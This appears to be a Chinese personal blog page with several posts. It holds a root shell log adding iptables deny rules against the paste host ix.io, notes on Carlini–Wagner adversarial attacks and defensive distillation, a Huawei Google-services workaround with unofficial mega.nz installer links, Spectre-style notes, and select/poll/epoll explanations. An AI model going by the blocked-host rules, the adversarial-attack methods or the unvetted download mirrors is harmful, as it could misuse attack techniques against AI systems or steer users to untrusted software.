root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.allow

root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

root@gaSRHj203877:/etc/rc1.d# nano /etc/hosts.deny
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/1K8E -j DROP
iptables v1.6.1: invalid mask `1K8E' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s http://ix.io/ -j DROP
iptables v1.6.1: invalid mask `' specified
Try `iptables -h' or 'iptables --help' for more information.
root@gaSRHj203877:/etc/rc1.d# iptables -I INPUT -s ix.io -j DROP
root@gaSRHj203877:/etc/rc1.d# -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
-I: command not found
root@gaSRHj203877:/etc/rc1.d# iptables -I OUTPUT -p tcp -m string --string "ix.io" --algo bm -j DROP
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# C

又见一篇 Berkeley 论文 Towards Evaluating the Robustness of Neural Networks

[latexpage]

在之前的 adversarial example 框架下,赵博又让我把模型转化成pb格式给这个论文转化的工具用,应该是之前的 baseline 跑数据太稳定了。

感谢这次学长给我的这个锅还是非常轻松的,因为这周去找高中同学吃饭,又和老婆玩,实在没时间,ddl太多。还得复习。

credit:https://blog.csdn.net/kearney1995/article/details/79904095

由于之前提出的防御性蒸馏实际上是一种"梯度遮蔽"的方法,作者也给出了防御性蒸馏有效性的解释。这里所说的蒸馏学习是原先hinton提出用来减少模型复杂度并且不会降低泛化性能的方法,具体就是在指定温度下,先训练一个教师模型,再将教师模型在数据集上输出的类别概率标记作为软标签训练学生模型。而在防御蒸馏模型中,选择两个相同的模型作为教师模型和学生模型。 

具体过程:

1、 先用硬标签训练教室模型,在文中的例子就是假设温度为T,则教室模型的Softmax层输出F(X)就是

\begin{equation}\nonumber F(X)=\Big[{e^{z_i(X)/T} \over {\sum_{l=0}^{N-1} e^{z_l(X)/T}}} \Big]_{i \in 0 \dots N-1} \end{equation}

再此基础上应用交叉熵损失训练模型。


2、然后用教师模型输出类别概率F(X)(注意,这里还是保持了温度T)实际上,这和T=1,即普通情况下训练模型,并没有什么太大区别,但我们还是与原文保持一致。

3、对于学生模型,我们还是利用温度T下的输出F(X)计算交叉熵损失函数,不过类别标签应用之前教师模型输出的软标签,进而进行训练。 对于使用软标签带来的好处,主要在于使用软标签F(X)使得神经网络能够在概率向量中找到的附加知识。 这个额外的熵编码了类之间的相对差异。 例如,在手写数字识别的背景下,给定一些手写数字的图像X,模型F可以评估数字7到F7(X)=0.6的概率以及标签1到F1(X)=0.4的概率,这表明7和1之间有一些结构相似性。

4、对于模型的预测输出,我们反而将温度T降为1,从而以高置信度来预测未知输入的类别。 实际上我们根本不需要前面的教师模型,只需要将F(X)作为神经网络的输出来最小化交叉熵损失函数既可以达到防御FGSM和JSMA的攻击。
  作者也对防御蒸馏的有效性进行的分析,对softmax层的输出求梯度可以很容易的得出:

\begin{equation}\nonumber \begin{aligned} {\partial F_i(X) \over \partial X_j}\Big|_T &= {\partial \over \partial X_j} \Big({e^{z_i/T} \over \sum_{l=0}^{N-1} e^{z_l/T}} \Big) \\ &= {1 \over g^2(X)} \Big({\partial e^{z_i(X)/T} \over \partial X_j}g(X)-e^{z_i(X)/T}{\partial g(X) \over \partial X_j} \Big) \\ &={1 \over g^2(X)}{e^{z_i/T} \over T}\Big(\sum_{l=0}^{N-1}{\partial z_i \over \partial X_j}e^{z_l/T}-\sum_{l=0}^{N-1}{\partial z_l \over \partial X_j}e^{z_l/T}\Big) \\ &={1 \over T}{e^{z_i/T} \over g^2(X)} \Big(\sum_{l=0}^{N-1}\big({\partial z_i \over \partial X_j}-{\partial z_l \over \partial X_j}\big) e^{z_l/T} \Big) \end{aligned} \end{equation}

这种攻击针对的就是LSTM法所做的优化,实际上完全无法攻击JSMA,C&W在优化后成功攻击该防御模型,若对防御蒸馏攻击的softmax的输出做梯度,得到的是零。所以这个操作的本质就是梯度遮蔽。

EAD: Elastic-Net Attacks to Deep Neural Networks via Adversarial Examples

中提到的就是Carlini & Wagner的一些新的改进

\begin{equation}\nonumber f(\boldsymbol{x},t) = \max \{\max_{j \neq t}[Logit(\boldsymbol{x})]_j - [Logit(\boldsymbol{x})]_t,-k\} \end{equation}

改变的目标函数依然没有变化。主要是加入了L1和L2弹性网络正则化项,之后只要做优化就OK

\begin{equation}\nonumber \begin{aligned} & \min_\boldsymbol{x} c \cdot f(\boldsymbol{x},t) + \beta ||\boldsymbol{x}-\boldsymbol{x}_0||_1 + ||\boldsymbol{x}-\boldsymbol{x}_0||_2^2 \\ & \text{s.t.} \quad \boldsymbol{x} \in [0,1]^p \end{aligned} \end{equation}

接下来就是数学问题了。

回归题目

作者也给出了防御性蒸馏有效性的解释,详见之前关于防御性蒸馏的文章,和那里面说的一样;不过关于jsma中选择像素对来进行修改的方法,作者做出了不一样的解释:
  假设softmax层最小的输入为-100,那么softmax层的对于该输入的输出为0,即使增加了10,由-100变成了-90,仍然为0,显然这对输出没有什么影响。而如果softmax层最大的输入为10,将其更改为了0,显然这会使得输出产生巨大的变化。而JSMA的攻击方式并不会考虑从0到10和从-100到-90的不同,他是一视同仁的。
 而在蒸馏训练之后,会使得这样的不同放大。假设输出类向量为:[ -674.3225 , -371.59705 , -177.78831 , 562.87225 ,-1313.5781 , 998.18207 , -886.97107 , -511.58194 ,-126.719666, -43.129272]。要改变类别实际上只需要第四个数比第六个数大即可(即562增长,998下降)。但是JSMA会由于增长562会使得例如-1313,-886的数增加很多而放弃。这实际上是算法本身的问题。
 要攻击防御性蒸馏模型实际上很简单,只需要不考虑这些其他的类向量值,只考虑需要超过的类向量和自身的类向量值即可,甚至可以只关注增加自身的类向量。
 因此作者Nicholas Carlini和David Wagner提出了一系列能够改变类向量的目标函数:

\begin{equation}\nonumber \begin{aligned} f_1(x') &= -loss_{F,t}(x')+1 \\ f_2(x') &= (max_{i \neq t} (F(x')_i) - F(x')_t)^+ \\ f_3(x') &= softplus(max_{i \neq t} (F(x')_i) - F(x')_t) -log(2) \\ f_4(x') &= (0.5 - F(x')_t)^+ \\ f_5(x') &= -\log(2F(x')_t -2) \\ f_6(x') &= (max_{i \neq t} (Z(x')_i) - Z(x')_t)^+ \\ f_7(x') &= softplus(max_{i \neq t}Z(x')_i) - Z(x')_t) - log(2) \end{aligned} \end{equation}

华为p30 5g/4g & Nova5pro 的谷歌解决方案

lzplayer光不灭,虽然服务器挂了,但是有一键复原功能,真的爽歪歪。

first of all, credit: https://www.youtube.com/watch?v=QsXvmAeqdFk&t=100s

你需要hi-suite 一键复原。下载地址1. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fconsumer.huawei.com%2Fcn%2Fsupport%2Fhisuite%2F 2. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21xvQDHARK%21_71gS-Gb7TAnCRBVVMi3Yiu_d51zG8vCUjEwMS21Qfo 3. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21li5VyIyJ%21nm3J8xETtHMeBmzd7lDW8gD5_hHS3KiseTGp_ChDpF0 4. https://www.youtube.com/redirect?v=QsXvmAeqdFk&event=video_description&redir_token=mD1b-UEQL8ecBSYBRnGYmcOWZ858MTU3MjA2NjU1N0AxNTcxOTgwMTU3&q=https%3A%2F%2Fmega.nz%2F%23%21lywVmaKD%21W5hcsLKueminEcDqXUTSsUoOHMolTtFGI_NaQlPGqbo

下次写个自动脚本。

由组会引发的顶会浏览

组会开的是这篇文章看到今年的 MICRO2019 华为仍是最大赞助商之一,我就放心了,学术界是没有国界的这句话在绝大多数情况下都是使用的。

来看看这篇论文,来自UIUC的Mengjia Yan,会议在日本(有点想去)。

首先是预测,cpu需要通过既有个个进程的资源占用率来预测未来分配,以减少不当分派带来的 fairness between threads & security maliciousness 。同时,有些线程( OS 上多了)或程序跑到某一时间段后从安全态到了非安全态或切换状态的时候会影响调度结果,所以 CPU scheduler 也会预测各个分支。现在工业界主要的方法是启发式的预测方法,这比 OS 课上习得的 FCFS、SJF、SRFS 以及古老的RR要性能好。

文章中提到了一个幽灵漏洞的 naïve version 的攻击方式,叫 speculative execution attacks 。假设 Cache will point to the place in drive (这里的 Cache 上不一定存数据,可能是映射到另外一个地址空间),那就提出一个新的 cache 区域作为 buffer ,经过 LLC 后放在 Cache 上。读入一遍后,只要看速度就能得出漏洞可能存在的位置。

P.S.赵博提出一个问题:读的时候数据会擦除下一位的数据留在 cache ,实际上是由 LLC 部分编程去除解决的。但因为是比较 naive 的算法的,大不了扫100次,再比较之。

[I/O多路复用]Select Poll & Epoll Part2

转载自 https://www.jianshu.com/p/397449cadc9a

前面大概提了一下在 network 中如何通过阻塞及同步异步还有多路复用来实现 I/O,现在终于可以讲到世纪linux中是如何使用API来实现I/O模型的. 这对比Operating书来说要实际和有意义.

blocking IO - 阻塞IO & nonblocking IO - 非阻塞IO & IO multiplexing - IO多路复用 & signal driven IO - 信号驱动IO 都可以归类为synchronous IO - 同步IO,而select、poll、epoll本质上也都是同步I/O,因为他们都需要在读写事件就绪后自己负责进行读写,也就是说这个读写过程是阻塞的。

与多进程和多线程技术相比,I/O多路复用技术的最大优势是系统开销小,系统不必创建进程/线程,也不必维护这些进程/线程,从而大大减小了系统的开销。

在介绍select、poll、epoll之前,首先介绍一下Linux操作系统中基础的概念

  • 用户空间 / 内核空间
    现在操作系统都是采用虚拟存储器,那么对32位操作系统而言,它的寻址空间(虚拟存储空间)为4G(2的32次方)。
    操作系统的核心是内核,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核(kernel),保证内核的安全,操作系统将虚拟空间划分为两部分,一部分为内核空间,一部分为用户空间。
  • 进程切换
    为了控制进程的执行,内核必须有能力挂起正在CPU上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。因此可以说,任何进程都是在操作系统内核的支持下运行的,是与内核紧密相关的,并且进程切换是非常耗费资源的。
  • 进程阻塞
    正在执行的进程,由于期待的某些事件未发生,如请求系统资源失败、等待某种操作的完成、新数据尚未到达或无新工作做等,则由系统自动执行阻塞原语(Block),使自己由运行状态变为阻塞状态。可见,进程的阻塞是进程自身的一种主动行为,也因此只有处于运行态的进程(获得了CPU资源),才可能将其转为阻塞状态。当进程进入阻塞状态,是不占用CPU资源的。
  • 文件描述符
    文件描述符(File descriptor)是计算机科学中的一个术语,是一个用于表述指向文件的引用的抽象化概念。
    文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系统。
  • 缓存I/O
    缓存I/O又称为标准I/O,大多数文件系统的默认I/O操作都是缓存I/O。在Linux的缓存I/O机制中,操作系统会将I/O的数据缓存在文件系统的页缓存中,即数据会先被拷贝到操作系统内核的缓冲区中,然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。

述符数量,返回0表示超时,返回-1表示出错;

Epoll

epoll在Linux2.6内核正式提出,是基于事件驱动的I/O方式,相对于select来说,epoll没有描述符个数限制,使用一个文件描述符管理多个描述符,将用户关心的文件描述符的事件存放到内核的一个事件表中,这样在用户空间和内核空间的copy只需一次。

Linux中提供的epoll相关函数如下:

int epoll_create(int size);
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);

1. epoll_create 函数创建一个epoll句柄,参数size表明内核要监听的描述符数量。调用成功时返回一个epoll句柄描述符,失败时返回-1。

2. epoll_ctl 函数注册要监听的事件类型。四个参数解释如下:

  • epfd 表示epoll句柄
  • op 表示fd操作类型,有如下3种
    • EPOLL_CTL_ADD 注册新的fd到epfd中
    • EPOLL_CTL_MOD 修改已注册的fd的监听事件
    • EPOLL_CTL_DEL 从epfd中删除一个fd
  • fd 是要监听的描述符
  • event 表示要监听的事件

epoll_event 结构体定义如下:

struct epoll_event {
    __uint32_t events;  /* Epoll events */
    epoll_data_t data;  /* User data variable */
};

typedef union epoll_data {
    void *ptr;
    int fd;
    __uint32_t u32;
    __uint64_t u64;
} epoll_data_t;

3. epoll_wait 函数等待事件的就绪,成功时返回就绪的事件数目,调用失败时返回 -1,等待超时返回 0。

  • epfd 是epoll句柄
  • events 表示从内核得到的就绪事件集合
  • maxevents 告诉内核events的大小
  • timeout 表示等待的超时事件

epoll是Linux内核为处理大批量文件描述符而作了改进的poll,是Linux下多路复用IO接口select/poll的增强版本,它能显著提高程序在大量并发连接中只有少量活跃的情况下的系统CPU利用率。原因就是获取事件的时候,它无须遍历整个被侦听的描述符集,只要遍历那些被内核IO事件异步唤醒而加入Ready队列的描述符集合就行了。

epoll除了提供select/poll那种IO事件的水平触发(Level Triggered)外,还提供了边缘触发(Edge Triggered),这就使得用户空间程序有可能缓存IO状态,减少epoll_wait/epoll_pwait的调用,提高应用程序效率。

  • 水平触发(LT):默认工作模式,即当epoll_wait检测到某描述符事件就绪并通知应用程序时,应用程序可以不立即处理该事件;下次调用epoll_wait时,会再次通知此事件
  • 边缘触发(ET): 当epoll_wait检测到某描述符事件就绪并通知应用程序时,应用程序必须立即处理该事件。如果不处理,下次调用epoll_wait时,不会再次通知此事件。(直到你做了某些操作导致该描述符变成未就绪状态了,也就是说边缘触发只在状态由未就绪变为就绪时只通知一次)。

LT和ET原本应该是用于脉冲信号的,可能用它来解释更加形象。Level和Edge指的就是触发点,Level为只要处于水平,那么就一直触发,而Edge则为上升沿和下降沿的时候触发。比如:0->1 就是Edge,1->1 就是Level。

ET模式很大程度上减少了epoll事件的触发次数,因此效率比LT模式下高。

总结

一张图总结一下select,poll,epoll的区别:

selectpollepoll
操作方式遍历遍历回调
底层实现数组链表哈希表
IO效率每次调用都进行线性遍历,时间复杂度为O(n)每次调用都进行线性遍历,时间复杂度为O(n)事件通知方式,每当fd就绪,系统注册的回调函数就会被调用,将就绪fd放到readyList里面,时间复杂度O(1)
最大连接数1024(x86)或2048(x64)无上限无上限
fd拷贝每次调用select,都需要把fd集合从用户态拷贝到内核态每次调用poll,都需要把fd集合从用户态拷贝到内核态调用epoll_ctl时拷贝进内核并保存,之后每次epoll_wait不拷贝

epoll是Linux目前大规模网络并发程序开发的首选模型。在绝大多数情况下性能远超select和poll。目前流行的高性能web服务器Nginx正式依赖于epoll提供的高效网络套接字轮询服务。但是,在并发连接不高的情况下,多线程+阻塞I/O方式可能性能更好。


既然select,poll,epoll都是I/O多路复用的具体的实现,之所以现在同时存在,其实他们也是不同历史时期的产物

  • select出现是1984年在BSD里面实现的
  • 14年之后也就是1997年才实现了poll,其实拖那么久也不是效率问题, 而是那个时代的硬件实在太弱,一台服务器处理1千多个链接简直就是神一样的存在了,select很长段时间已经满足需求
  • 2002, 大神 Davide Libenzi 实现了epoll

[I/O多路复用]Select Poll & Epoll

第一步先理解 阻塞/非阻塞/同步/异步. 其实计算机当中的很多概念并不只是从操作系统中衍生出来,各个领域都会有大致相同,但实则定义不一致的概念.就比如网路和操作系统的概念区别.

Unix网络编程中的五种IO模型

  • Blocking IO - 阻塞IO
  • NoneBlocking IO - 非阻塞IO
  • IO multiplexing - IO多路复用
  • signal driven IO - 信号驱动IO
  • asynchronous IO - 异步IO

这里讨论的主要是网络编程中的.同时signal driven主要是thread,直接处理IO的操作不多,所以这里不做讨论.

首先对于一个 network IO,就涉及到两个概念

  • application 调用这个IO的进程
  • kernel 系统内核

那他们经历的两个交互过程是:

  • 阶段1 wait for data 等待数据准备
  • 阶段2 copy data from kernel to user 将数据从内核拷贝到用户进程中

这大致和操作系统中的 thread_block 思路一致, 整个实现就是冲走了一遍 lock 机制. 不过就如同操作系统需要很多不同的机制来应对不同的问题,从而产生了Hoarne & Mesa Monitor Semaphore & Condition. 虽然四者可以互相实现,但是工程上需要做区分.

首先是Blocking IO, 又称阻塞IO. 在 linux 中,默认情况下所有的 socket 都是 blocking,一个典型的读操作流程大概如下图:

当用户进程调用了 recvfrom 这个 syscall, kernel 就开始了 IO 的第一个阶段,也就是收集数据, 对于network IO 来说,很多时候数据一开始还没有到达(比如,还没有收到一个完整的udp包),这个时候kernel 就要等待足够多的时间来.而在用户进程这里,整个进程都会被阻塞. 当kernel 一致等到数据准备好的时候,它就会从kernel中拷贝到用户内存.然后kernel 返回结果.用户进程才会接触block的状态,重新运行起来.

所以,blocking IO 的特点就是在IO执行的两个阶段就被block了.

这里与操作系统最大的区别就是network IO的延时通常比system 的数据流延时慢很多个时钟周期. 在操作系统中Blocking IO 一般是tick priority trigger 的.

其次是NoneBlockingIO,又称非阻塞IO

linux下,可以通过设置socket使其变为non-blocking。当对一个non-blocking socket执行读操作时,流程是这个样子:

从图中可以看出,当用户进程发出recvfrom这个系统调用后,如果kernel中的数据还没有准备好,那么它并不会block用户进程,而是立刻返回一个结果(no datagram ready)。从用户进程角度讲 ,它发起一个操作后,并没有等待,而是马上就得到了一个结果。用户进程得知数据还没有准备好后,它可以每隔一段时间再次发送recvfrom操作。一旦kernel中的数据准备好了,并且又再次收到了用户进程的system call,那么它马上就将数据拷贝到了用户内存,然后返回。

所以,用户进程其实是需要不断的主动询问kernel数据好了没有。

I/O多路复用(multiplexing)是网络编程中最常用的模型,像我们最常用的select、epoll都属于这种模型。以select为例:

看起来它与blocking I/O很相似,两个阶段都阻塞。但它与blocking I/O的一个重要区别就是它可以等待多个数据报就绪(datagram ready),即可以处理多个连接。这里的select相当于一个“代理”,调用select以后进程会被select阻塞,这时候在内核空间内select会监听指定的多个datagram (如socket连接),如果其中任意一个数据就绪了就返回。此时程序再进行数据读取操作,将数据拷贝至当前进程内。由于select可以监听多个socket,我们可以用它来处理多个连接。

在select模型中每个socket一般都设置成non-blocking,虽然等待数据阶段仍然是阻塞状态,但是它是被select调用阻塞的,而不是直接被I/O阻塞的。select底层通过轮询机制来判断每个socket读写是否就绪。

当然select也有一些缺点,比如底层轮询机制会增加开销、支持的文件描述符数量过少等。为此,Linux引入了epoll作为select的改进版本。

异步I/O在网络编程中几乎用不到,在File I/O中可能会用到:

这里面的读取操作的语义与上面的几种模型都不同。这里的读取操作(aio_read)会通知内核进行读取操作并将数据拷贝至进程中,完事后通知进程整个操作全部完成(绑定一个回调函数处理数据)。读取操作会立刻返回,程序可以进行其它的操作,所有的读取、拷贝工作都由内核去做,做完以后通知进程,进程调用绑定的回调函数来处理数据。

总结

我们来总结一下阻塞、非阻塞,同步和异步这两组概念。

先来说阻塞和非阻塞:

  • 阻塞调用会一直等待远程数据就绪再返回,即上面的阶段1会阻塞调用者,直到读取结束。
  • 而非阻塞无论在什么情况下都会立即返回,虽然非阻塞大部分时间不会被block,但是它仍要求进程不断地去主动询问kernel是否准备好数据,也需要进程主动地再次调用recvfrom来将数据拷贝到用户内存。

再说一说同步和异步:

  • 同步方法会一直阻塞进程,直到I/O操作结束,注意这里相当于上面的阶段1,阶段2都会阻塞调用者。其中 Blocking IO - 阻塞IO,Nonblocking IO - 非阻塞IO,IO multiplexing - IO多路复用,signal driven IO - 信号驱动IO 这四种IO都可以归类为同步IO。
  • 而异步方法不会阻塞调用者进程,即使是从内核空间的缓冲区将数据拷贝到进程中这一操作也不会阻塞进程,拷贝完毕后内核会通知进程数据拷贝结束。

下面的这张图很好地总结了之前讲的这五种I/O模型(来自Unix Network Programming)


hw2 Task2 改龙哥的read速度极快

不能再快了的read

credit : http://zonelikewonderland.tk/#/user/blog/details/481e27461fe6602e138b154ca8379587

const int buffsize=1e5;
char buf[buffsize],*pp=buf-1;
int readsize=0,freadsize=0;
inline void readinit(){
    fread(buf+(((readsize+buffsize-1)%buffsize>=buffsize/2-1)?0:buffsize/2),1,buffsize/2,stdin);
    freadsize+=buffsize/2;
}
inline int read(){
    if(readsize+buffsize/2>freadsize)readinit();
    while((++readsize,*++pp)<'-')if(pp==buf+buffsize-1)pp=buf-1;
    register int x=*pp&15;
    if(pp==buf+buffsize-1)pp=buf-1;
    while((++readsize,*++pp)>'-'){
        x=x*10+(*pp&15);
        if(pp==buf+buffsize-1)pp=buf-1;
    }
    if(pp==buf+buffsize-1)pp=buf-1;
    return x;
}

比我那个快。